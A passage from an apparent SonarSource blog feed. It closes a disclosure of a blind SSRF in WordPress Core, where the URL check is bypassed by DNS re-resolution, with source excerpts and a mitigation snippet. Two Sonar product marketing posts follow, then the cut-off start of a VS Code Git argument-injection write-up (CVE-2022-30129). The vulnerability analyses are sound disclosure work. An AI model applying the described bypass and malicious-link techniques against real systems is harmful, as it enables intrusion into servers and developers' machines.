&lt;code&gt;tcp://host:port&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/Requests/Transport/fsockopen.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function request($url, $headers = array(), $data = array(), $options = array()) {
    // [...]
    $url_parts = parse_url($url);
    // [...]
    $host = $url_parts[&apos;host&apos;];
    else {
        $remote_socket = &apos;tcp://&apos; . $host;
    }
    // [...]
    $remote_socket .= &apos;:&apos; . $url_parts[&apos;port&apos;];&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Further away, this destination is used to create a new stream with &lt;code&gt;stream_socket_client()&lt;/code&gt;, and the HTTP request is crafted and written to it:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/Requests/Transport/fsockopen.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;​​$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options[&apos;connect_timeout&apos;]), STREAM_CLIENT_CONNECT, $context);
// [...]
$out = sprintf(&quot;%s %s HTTP/%.1F\r\n&quot;, $options[&apos;type&apos;], $path, $options[&apos;protocol_version&apos;]);
// [...]
if (!isset($case_insensitive_headers[&apos;Host&apos;])) {
    $out .= sprintf(&apos;Host: %s&apos;, $url_parts[&apos;host&apos;]);
    // [...]
}
// [...]
fwrite($socket, $out);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As we can see, this process implies another DNS resolution, so &lt;code&gt;stream_socket_client()&lt;/code&gt; can identify the host&amp;#x27;s IP to send the packets.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The behavior of the other HTTP client, cURL, is very similar and won&amp;#x27;t be covered here. &lt;/p&gt;&lt;h3&gt;The vulnerability&lt;/h3&gt;&lt;p&gt;This construct has a problem: the HTTP client has to re-parse the URL and re-resolve the hostname to send its request. &lt;strong&gt;Meanwhile, an attacker could have changed the domain to point to a different address than the one validated before! &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This bug class is also called Time-of-Check-Time-of-Use: a resource is validated but can be changed later before its effective use. It is common to find such vulnerabilities in mitigations against Server-Side Request Forgeries (SSRF). &lt;a href=&quot;https://twitter.com/SonarSource/status/1468248939379847168&quot;&gt;We even released a challenge based on this vulnerable code pattern in our Code Security Advent Calendar 2021.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div class=&quot;table&quot;&gt;&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Can you spot the vulnerability? &lt;a href=&quot;https://twitter.com/hashtag/codeadvent2021?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#codeadvent2021&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/csharp?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#csharp&lt;/a&gt; &lt;br/&gt;&lt;br/&gt;SSRF vulnerabilities are so 2020! &lt;a href=&quot;https://t.co/y9CSxdc5MH&quot;&gt;pic.twitter.com/y9CSxdc5MH&lt;/a&gt;&lt;/p&gt;— Sonar (@SonarSource) &lt;a href=&quot;https://twitter.com/SonarSource/status/1468248939379847168?ref_src=twsrc%5Etfw&quot;&gt;December 7, 2021&lt;/a&gt;&lt;/blockquote&gt; &lt;script src=&quot;https://platform.twitter.com/widgets.js&quot; charSet=&quot;utf-8&quot;&gt;&lt;/script&gt; &lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We summarized what these successive steps look like with the diagram below:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/49eeaae3-0e5a-43c9-8a0e-ce1607b67f26/body-6353f0e2-aadb-4408-a214-789460fd00d3_Unauthenticated%2BBlind%2BSSRF_02%2Btransparent%2Bbakground.png&quot; /&gt;&lt;h3&gt;Exploitation scenarios&lt;/h3&gt;&lt;p&gt;We&amp;#x27;ve audited the code in the hope of finding parser differential bugs that would allow reaching unintended ports or performing POST requests without success: the initial URL validation steps are restrictive enough to prevent their exploitation. As mentioned earlier, attackers would have to chain this behavior with another vulnerability to impact the targeted organization&amp;#x27;s security significantly. &lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;We are not aware of any public patch available at the time of writing this publication; the details above are based on an intermediate patch shared with us during the disclosure process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Addressing such vulnerabilities requires persisting the validated data until it is used to perform the HTTP request. It should not be discarded or transformed after the validation step. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The WordPress maintainers followed this path by introducing a second, optional argument to &lt;code&gt;wp_http_validate_url()&lt;/code&gt;. This parameter is passed by reference and contains the IP addresses on which WordPress performed the validation. The final code is slightly more verbose to accommodate older versions of PHP, but the main idea is here. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a temporary workaround, we recommend system administrators remove the handler &lt;code&gt;pingback.ping&lt;/code&gt; of the XMLRPC endpoint. One way to do this is to update &lt;code&gt;functions.php&lt;/code&gt; of the theme in use to introduce the following call:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;add_filter(&apos;xmlrpc_methods&apos;, function($methods) {
  unset($methods[&apos;pingback.ping&apos;]); 
  return $methods; 
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It is also possible to block access to &lt;code&gt;xmlrpc.php&lt;/code&gt; at the web server level. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-21&lt;/td&gt;&lt;td&gt;We submit the vulnerability to the maintainers with a 90-day disclosure policy.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-21&lt;/td&gt;&lt;td&gt;Our submission is triaged as Duplicate against a report originally sent (exactly) 5 years ago (2017-01-21).&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-11&lt;/td&gt;&lt;td&gt;WordPress requests an extension of 30 days to our 90-day disclosure policy, as they need more time to work on backports. We agree.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-23&lt;/td&gt;&lt;td&gt;Maintainers share a patch for WordPress 5.9.3.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-01&lt;/td&gt;&lt;td&gt;We provided positive feedback on the patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-07-16&lt;/td&gt;&lt;td&gt;We communicate our intent to release this publication on September 6.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-01&lt;/td&gt;&lt;td&gt;Final heads up about the upcoming publication.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-06&lt;/td&gt;&lt;td&gt;This article is released, 228 days after our report and 2054 days after the initial report by another researcher.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we described a blind SSRF vulnerability affecting WordPress Core. While the impact is deemed low in this case, this is a widespread vulnerable code pattern that we continue to encounter even in big projects. We encourage developers to check their own code bases for this type of code vulnerability that, as we have demonstrated, can hide in even highly popular and well-reviewed code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We want to thank the WordPress maintainers for their help in addressing this issue, even if we couldn&amp;#x27;t reach the best outcome possible.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-object-injection-vulnerability/&quot;&gt;WordPress 5.8.3 - Object Injection Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-stored-xss-vulnerability&quot;&gt;WordPress 5.8.2 - Stored XSS Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-xxe-security-vulnerability&quot;&gt;WordPress 5.7 - XXE Vulnerability&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce/&quot;&gt;WordPress 5.1 - CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-image-remote-code-execution/&quot;&gt;WordPress 5.0.0 - Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[You’re 3 minutes away from clean Java pull requests!]]></title><description><![CDATA[In this blog, we demonstrate how you can get started with SonarCloud in less than 3 minutes and ensure all new Java pull requests are clean, every time.]]></description><link>https://www.sonarsource.com/blog/youre-3-minutes-away-from-clean-java-pull-requests</link><guid isPermaLink="false">2e95f05e-6811-597a-9251-50d0dc2288c6</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Thu, 01 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How do you ensure your next Java pull request is clean? How do you ensure all your future Java pull requests are also clean? What impact would this have on your project? On your work? How much easier will it be, in the future, to add new features on top of a clean code base? There’s an easy way for every Java developer to get there. In this blog, I’m going to demonstrate how you can get started with SonarCloud in less than 3 minutes and ensure all new Java pull requests are clean, every time.&lt;/p&gt;&lt;h3&gt;From sign-up to first PR decoration in record time&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/tpy7Oen0kdQ&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Find more videos like this on our &lt;a href=&quot;https://www.youtube.com/SonarSource&quot;&gt;Youtube channel&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;4 easy steps to decorate your Java pull requests&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;Start from our &lt;a href=&quot;https://sonarcloud.io/sessions/new&quot;&gt;login page&lt;/a&gt;, and sign-up with your GitHub account. All it takes is one click and your account is created. This will take you to GitHub, so that you can give permissions to SonarCloud to look at your account. &lt;/li&gt;&lt;li&gt;Back to SonarCloud, begin the import of your GitHub organization. This will take you back to GitHub to install SonarCloud and provide more permissions, including the right to look at your code and pull requests. Once done, you can setup your SonarCloud organization and choose a plan. Let’s keep in mind that SonarCloud is entirely free for open-source projects, with access to the full feature-set. At this point, your organization is created.&lt;/li&gt;&lt;li&gt;It’s time for you to select the repository you want to analyze. Automatic analysis will be triggered instantly. Just wait for the analysis to end - it should be fast (&amp;lt;1 minute for a project &amp;lt;10k lines of code as demoed in the video) - and get access to the results, simply click on the main branch to explore. The last 5 pull requests have also been analyzed.&lt;/li&gt;&lt;li&gt;Our Clean Code monitoring is now active for your Java project. What this means is that &lt;a href=&quot;https://sonarcloud.io/summary/new_code?id=Thomas-SonarSource_Java-webapp&amp;pullRequest=3&quot;&gt;every pull request will now be analyzed&lt;/a&gt; and decorated instantly after creation.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Disclaimer&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;For the sake of this demonstration, we have picked a pretty &lt;a href=&quot;https://sonarcloud.io/summary/overall?id=Thomas-SonarSource_Java-webapp&quot;&gt;simple Java Spring Webapp&lt;/a&gt; with 10k lines of code. The analysis duration is expected to grow with the size of your project.&lt;/li&gt;&lt;li&gt;Once a Java project is imported, automatic analysis is triggered instantly on SonarCloud as the video demonstrates. Today, this is only available to GitHub organizations. It will come later for other DevOps Platforms. Don’t be scared, getting SonarCloud to work &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/ci-based-analysis/overview/&quot;&gt;with your CI/CD&lt;/a&gt; should be fairly easy. You might just not reach the 3 minutes baseline.&lt;/li&gt;&lt;li&gt;The use case we’re presenting in the video is the best way to get started with continuous analysis of your code and also comes with a few limitations - e.g. no taint analysis, no code coverage report. These limitations will be addressed in the future.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Conclusion&lt;/h3&gt;&lt;p&gt;That’s it! Getting a Java pull request analyzed and decorated for the first time should never be more difficult than this. You’re on your way to have a major impact on your code and your project! SonarCloud is going to help with systematic remediation of code issues to make your code reviews faster. From now on, every single pull request you will merge into the code base will be clean, with no bugs, no vulnerabilities, and no major code smells.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is much more you can achieve with SonarCloud in the future. We recommend you get familiar with the tool and the &lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code/&quot;&gt;Clean as you Code methodology&lt;/a&gt;, then set it up to work with your CI/CD. You will unlock taint analysis, code coverage reports, features that are key to get your code to a higher level of quality.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have any questions, or if you encounter a problem, please go to our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community Forum&lt;/a&gt;. We’ll be happy to help you get up and running.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Pick a topic to discover more&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code/&quot;&gt;Clean as You Code: How to win at Code Quality without even trying&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/review-security-vulnerabilities-with-github-code-scanning/&quot;&gt;Review your security vulnerabilities in GitHub with code scanning alerts&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/mono-repository-support-for-github-and-azure-devops/&quot;&gt;Mono-repository support for GitHub and Azure DevOps Services&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Sonar Streamlines the Race to Release]]></title><description><![CDATA[Knowing if your latest release candidate is built with clean code doesn’t have to be a guessing game. With Sonar at your side, you’ll know that every new line, every PR and every build is clean.]]></description><link>https://www.sonarsource.com/blog/sonar-streamlines-the-race-to-release</link><guid isPermaLink="false">3aae79af-1ab3-5062-87fd-e98279e97c0f</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Tue, 30 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;It’s 6 PM in the meeting room at Acme Software and all eyes are on the product manager…&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Everyone in the room is waiting for your answer. Time freezes for a moment as you feel a cold sweat rolling down the back of your neck. You summon some courage and your voice chokes a little as you say “I think the release candidate is good, we can’t let the schedule slip, let’s move forward.” You’re relieved and yet uneasy because you made that decision mostly from your gut and not from a place of knowledge. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;This is the last time, you tell yourself...there has to be a better process!!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If our product manager had only known about Sonar, all that stress could have been avoided! In this blog, I’ll share how a key Sonar methodology, Clean as You Code, helps you streamline your app release process. With Clean as You Code, you and your team can push more features while holding the schedule and without a technical debt penalty. It sounds too good to be true, right?…well, read on mon ami.&lt;/p&gt;&lt;h3&gt;What’s Hiding in Your Code?&lt;/h3&gt;&lt;p&gt;Stripped down to the essentials, building an application is really just combining many chunks of code and nicely packaging them up to interact and play nice with their other app friends.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If we consider the chunks of code as marbles, they can either be colored red or green. Red marbles represent code that isn’t clean and green marbles represent code that is clean. Over the course of the sprint, the devs are pumping out marbles and adding them to the app jar. At the end of the release cycle, the jar will be full representing all the new/changed code that goes into the next app version. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, imagine the app jar is opaque and doesn’t have a lid. During the course of the sprint, we never really know the condition of the code inside as the marbles accumulate. And because it’s an open jar, there’s nothing to prevent devs from merging code with quality and/or security issues. It’s only when we pour out the contents into the build machine that the color makeup of the marbles is revealed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you’re dumping a lot of red marbles into your build machine, you’ve got issues. With these issues, comes some hard decision-making. Do you delay the release so that the red marbles can be refactored into green marbles or do you hold the schedule and revisit the red marbles later? Neither choice is attractive. Repeatedly delaying the release only leads to frustration and tough conversations, while holding the schedule means you’re just creating more &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;…which can lower developer morale. Things get worse if we include vulnerabilities in the equation. Some of those red marbles could be security issues just waiting to slip into the wild and create a massive credibility problem for your organization.&lt;/p&gt;&lt;h3&gt;Unknown Code Quality is the Enemy of Good Decision Making&lt;/h3&gt;&lt;p&gt;Too many development organizations call this their release process - as if it were the norm and just the way things are. Organizations that work this way are subjecting their release teams to endless, unpredictable roller coaster rides - release after release after release…&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/db0ba588-facb-4750-bed1-a06d0995e78f/body-48db5f5a-49a3-44db-920b-374effcbb8a8_yoda_fail.gif&quot; /&gt;&lt;p&gt;As the planned release date approaches, how can you be confident about making a Go / No-Go decision when you’re constantly battling quality issues that unexpectedly come to light? Whether you’re a product manager, a release manager or the VP of Engineering, the decision doesn’t get any easier. Wouldn’t things be a lot easier if you knew all along how many red marbles were accumulating so you could do something about it? In fact, wouldn’t it be awesome if you could just keep the red marbles out of the app jar from the start? That’s the most efficient way to build a quality app. You need to turn the unknown into the known. Sonar can help…&lt;/p&gt;&lt;h3&gt;Sonar - A Better Way to Develop&lt;/h3&gt;&lt;p&gt;Sonar combines the proven methodology of Clean as You Code with SonarLint in your IDE and SonarQube or SonarCloud for your team. This powerful combination continually analyzes your code to help you find and fix quality issues in your IDE and PRs - BEFORE they get merged. This means your app jar only gets filled with green marbles because they’re the only ones allowed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our analogy above, we said the app jar didn’t have a lid and that’s how it was so easy to add red marbles along with the green ones. What if we could add a lid to the jar and make it a smart lid that only allowed green marbles? We can, and it’s called a Quality Gate and it’s central to the concept of Clean as You Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean as You Code is based on two principles: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Individual devs own the quality of their code, and&lt;/li&gt;&lt;li&gt;Only code that passes the Quality Gate gets merged&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With every pull request, Sonar analyzes the added/changed code and if the code doesn’t meet the agreed-upon quality standard, it fails the Quality Gate and it doesn’t get merged. The red marbles can’t bring release-time doubts because they simply don’t exist. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0c8d951c-bb8e-4f59-8088-da6d5d055544/body-8e857c3b-034d-4c6f-b8fb-1ec81717bec8_yoda_clear_your_mind.gif&quot; /&gt;&lt;h3&gt;Sonar - Good Vibes In Your Workflow&lt;/h3&gt;&lt;p&gt;Sonar is straightforward and a bit magical in how powerful and effective it can be. With traditional methods, you’re making progress while stopping occasionally to clean up the problems and then it’s back to progress. It’s two steps forward and one step back. A traditional workflow like this isn’t efficient and it isn’t continually building toward a clean app because code quality isn’t transparently known at all times. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar also brings good vibes to the team by systematically reversing the technical debt burden. When you start using Sonar, you immediately improve things by ‘gating’ the red marbles and keeping them out of the new/changed code the team is working on now. Over time, you’ll refactor the parts of your code base that matter and when you do, that code will also be nicely cleaned! With all that green goodness in your codebase, you’ll have devs knocking at your door to come work for you.&lt;/p&gt;&lt;h3&gt;Sonar - For the Team Win&lt;/h3&gt;&lt;p&gt;Sonar combines &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code theory&lt;/a&gt; with the practical tools that empower devs to own the quality of their code. Perhaps the most powerful and important point is also probably the most pedestrian. It’s the process! Adoption of the Clean as You Code process is the true differentiator(s) because that is what gives Sonar the staying power. It becomes an indispensable part of the dev workflow and not having it would be inconceivable to the team!  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Devs are not the only beneficiaries. Having a clear Green / Red Quality Gate for your overall project makes the release decision simple - if your project is green, you can release with confidence. There’s less stress on the whole team and that translates to improved job satisfaction, better mental and physical health along with higher employee retention.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar can be the catalyst that alters your organization’s release mindset and sets it on a streamlined course. Sonar is transformational for your team. It’s truly shifting left. It’s giving your talented devs the means to delight customers by letting them focus on creativity instead of digging through old code to fix things - and that’s the ultimate good vibes!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;It’s 6 PM in the meeting room at Acme Software and all eyes are on the product manager…&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Everyone in the room is waiting for your answer.  You smile and say “The Sonar Quality Gate is green, we’re good to go! Let’s share our latest release with the world; they’re eagerly awaiting it - good work everyone!” You’re excited and pleased because this version has new functionality that will catch the competition by surprise!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;As you file out of the room, you remark to a colleague that Sonar made it easy to determine if the app was built with clean code and that made the Go / No-Go decision straightforward.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks for reading and happy, clean coding!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pick a topic to discover more:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sq_ee_good_vibes/&quot;&gt;Build World-Class Apps with SonarQube Enterprise Edition&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sq-sc_guidance/&quot;&gt;SonarCloud or SonarQube? - Guidance on Choosing One for Your Team&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/iac_code_quality/&quot;&gt;Clean Your Infrastructure Code with Sonar&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: Argument Injection in Visual Studio Code]]></title><description><![CDATA[In the third part of our Securing Developer Tools series, we look at a critical vulnerability that affects one of the most popular code editors: Visual Studio Code.]]></description><link>https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode</link><guid isPermaLink="false">f713bc8a-af87-507c-86ac-510c5362c835</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 23 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Welcome back to our &lt;em&gt;Securing Developer Tools &lt;/em&gt;series (&lt;a href=&quot;https://blog.sonarsource.com/securing-developer-tools-git-integrations/&quot;&gt;part 1, part 2&lt;/a&gt;), in which we look at the security of software used by millions of developers every day! The safety of these applications is crucial to prevent attackers from compromising the computer on which developers are working, as they could use this access to obtain sensitive information, alter source code, and further pivot into the company&amp;#x27;s internal network.&lt;/p&gt;&lt;p&gt;This time, we dive into a new vulnerability we identified in one of the most popular IDEs: Visual Studio Code. It allowed attackers to craft malicious links that, once interacted with, would trick the IDE into executing unintended commands on the victim&amp;#x27;s computer. By reporting the issue to Microsoft, who quickly patched it, our researchers helped to secure the developer ecosystem. &lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The vulnerability can be used to target developers that have the Visual Studio Code IDE installed. Upon clicking on a malicious link crafted by an attacker, victims are prompted to clone a Git repository in Visual Studio Code. This operation is genuine and part of the workflow of most users. For instance, this is how GitLab allows easier cloning of projects:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e16bb6a8-5d29-4edd-ad6c-c3e5ad9380c6/body-a2947d7f-a580-4c0d-b73e-a303d4d92a61_Screenshot%2B2022-07-12%2Bat%2B19.23.32.png&quot; /&gt;&lt;p&gt;If the developer accepts this operation, attackers can execute arbitrary commands on the victim&amp;#x27;s computer. &lt;/p&gt;&lt;p&gt;Interestingly, &lt;em&gt;Workspace Trust&lt;/em&gt;, a feature to harden the IDEs and reduce the risk of unintended commands being executed, is not strictly enforced here. If the last Visual Studio Code window with focus is trusted by the current workspace, this security feature will not have the expected effect. &lt;/p&gt;&lt;p&gt;We disclosed this finding to Microsoft through their Researcher Portal, and the patch was released as part of Visual Studio Code 1.67.1 and higher. Microsoft published limited information about this bug as part of &lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30129&quot;&gt;their security bulletin&lt;/a&gt; and assigned it CVE-2022-30129. &lt;/p&gt;&lt;p&gt;The following video shows the successful exploitation of the vulnerability on a macOS host by starting the macOS Calculator application:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/b9RT4RvXt9Y&quot;&gt;Demonstration of the successful exploitation of the vulnerability on a macOS host by starting the macOS Calculator application&lt;/a&gt;&lt;/p&gt;&lt;p&gt;In the sections below, we&amp;#x27;ll first describe how URL handlers are designed in Visual Studio Code and then review the implementation of the one reserved for Git actions to identify an argument injection bug. Further sections will describe how it could be exploited to gain the ability to execute arbitrary commands, as well as the patch implemented by Microsoft. &lt;/p&gt;&lt;h2&gt;Visual Studio Code URL Handlers&lt;/h2&gt;&lt;p&gt;Visual Studio Code is most commonly used as a stand-alone desktop application, thanks to Electron. This choice still allows some level of integration with the user&amp;#x27;s operating system, for instance, by allowing applications to register custom URL protocol handlers. In the case of Visual Studio Code, &lt;code&gt;vscode://&lt;/code&gt; is registered, and &lt;code&gt;vscode-insiders://&lt;/code&gt; for the nightly builds (also called Insiders build). This feature is named &lt;em&gt;Deep Links&lt;/em&gt;. &lt;/p&gt;&lt;p&gt;The IDE allows internal and external extensions to listen to such events and handle them by registering sub-handlers. The main listener will handle such OS-level events and redirect them to the right extension. &lt;/p&gt;&lt;p&gt;They have to implement a simple interface with a method named &lt;code&gt;handleUri()&lt;/code&gt; and announce it to the IDE with &lt;code&gt;window.registerUriHandler()&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export interface UriHandler {
    handleUri(uri: Uri): ProviderResult&lt;void&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/vscode-dts/vscode.d.ts&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Finding an argument injection in the Git module&lt;/h2&gt;&lt;p&gt;With this design in mind, it is now possible to start looking for URL handlers in the core of Visual Studio Code. At that time, three were available: &lt;code&gt;extensions/github-authentication&lt;/code&gt; and &lt;code&gt;extensions/microsoft-authentication&lt;/code&gt; to authenticate with third-party services and obtain the resulting access tokens, and &lt;code&gt;extensions/git&lt;/code&gt; to allow users to clone remote repositories as shown above in GitLab.&lt;/p&gt;&lt;p&gt;With our prior experience reviewing the code of developer tools, we know that external invocations of version control tools are often riddled with argument injection bugs—you can head to the &lt;em&gt;Related Posts&lt;/em&gt; section for a few examples. Let&amp;#x27;s look at the extensions/git&amp;#x27;s implementation of &lt;code&gt;handlerUri&lt;/code&gt; first!&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export class GitProtocolHandler implements UriHandler {
    // [...]
    handleUri(uri: Uri): void {
   	 switch (uri.path) {
   		 case &apos;/clone&apos;: this.clone(uri);
   	 }
    }

    private clone(uri: Uri): void {
   	 const data = querystring.parse(uri.query);
	 // [...]
   	 commands.executeCommand(&apos;git.clone&apos;, data.url);
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/git/src/commands.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;git.clone&lt;/code&gt; command is implemented in &lt;code&gt;extensions/git/src/commands.ts&lt;/code&gt;; it is also possible to invoke it manually:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@command(&apos;git.clone&apos;)
async clone(url?: string, parentPath?: string): Promise&lt;void&gt; {
  await this.cloneRepository(url, parentPath);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/git/src/commands.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s continue to dig deeper into the code to identify where the external Git binary is invoked: &lt;/p&gt;&lt;pre&gt;&lt;code&gt;async cloneRepository(url?: string, parentPath?: string, options: { recursive?: boolean } = {}): Promise&lt;void&gt; {
    // [...]
    try {
   	 // [...]
